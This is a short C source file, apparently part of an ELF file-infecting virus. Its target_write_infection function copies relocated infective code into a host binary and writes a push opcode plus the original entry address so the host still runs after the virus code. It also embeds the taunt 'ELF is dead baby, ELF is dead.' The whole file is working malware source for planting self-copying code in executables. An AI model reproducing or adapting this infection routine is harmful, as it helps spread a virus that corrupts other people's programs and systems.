int get_relocate_ofs(void);
int do_syscall(int, ...);
extern const char msg[];

#include "infection.inc"
#include "body.inc"
#include "get_relocate_ofs.inc"
#include "do_syscall.inc"

const char msg[] __attribute__ (( section(".text") )) =
  "ELF is dead baby, ELF is dead.\n";

void end() {}

bool target_write_infection(Target* t, size_t* code_size)
{
  enum { REST_OFS = ENTRY_POINT_OFS + sizeof(t->original_entry) };

  int ofs = get_relocate_ofs();
  char* r_begin = ofs + (char*)&infection;
  char* r_end = ofs + (char*)&end;
  unsigned size = r_end - r_begin;
  *code_size = size;

  TRACE_DEBUG(-1, "target_write_infection ENTRY_POINT_OFS=%d ofs=%d\n",
    ENTRY_POINT_OFS, ofs
  );

  /* i386: first byte is the opcode for "push" */
  CHECK_WRITE(r_begin, ENTRY_POINT_OFS);

  /* i386: next four bytes is the address to "ret" to */
  CHECK_WRITE(&t->original_entry, sizeof(t->original_entry));

  /* rest of infective code */
  CHECK_WRITE(r_begin + REST_OFS, size - REST_OFS);

  return true;
}
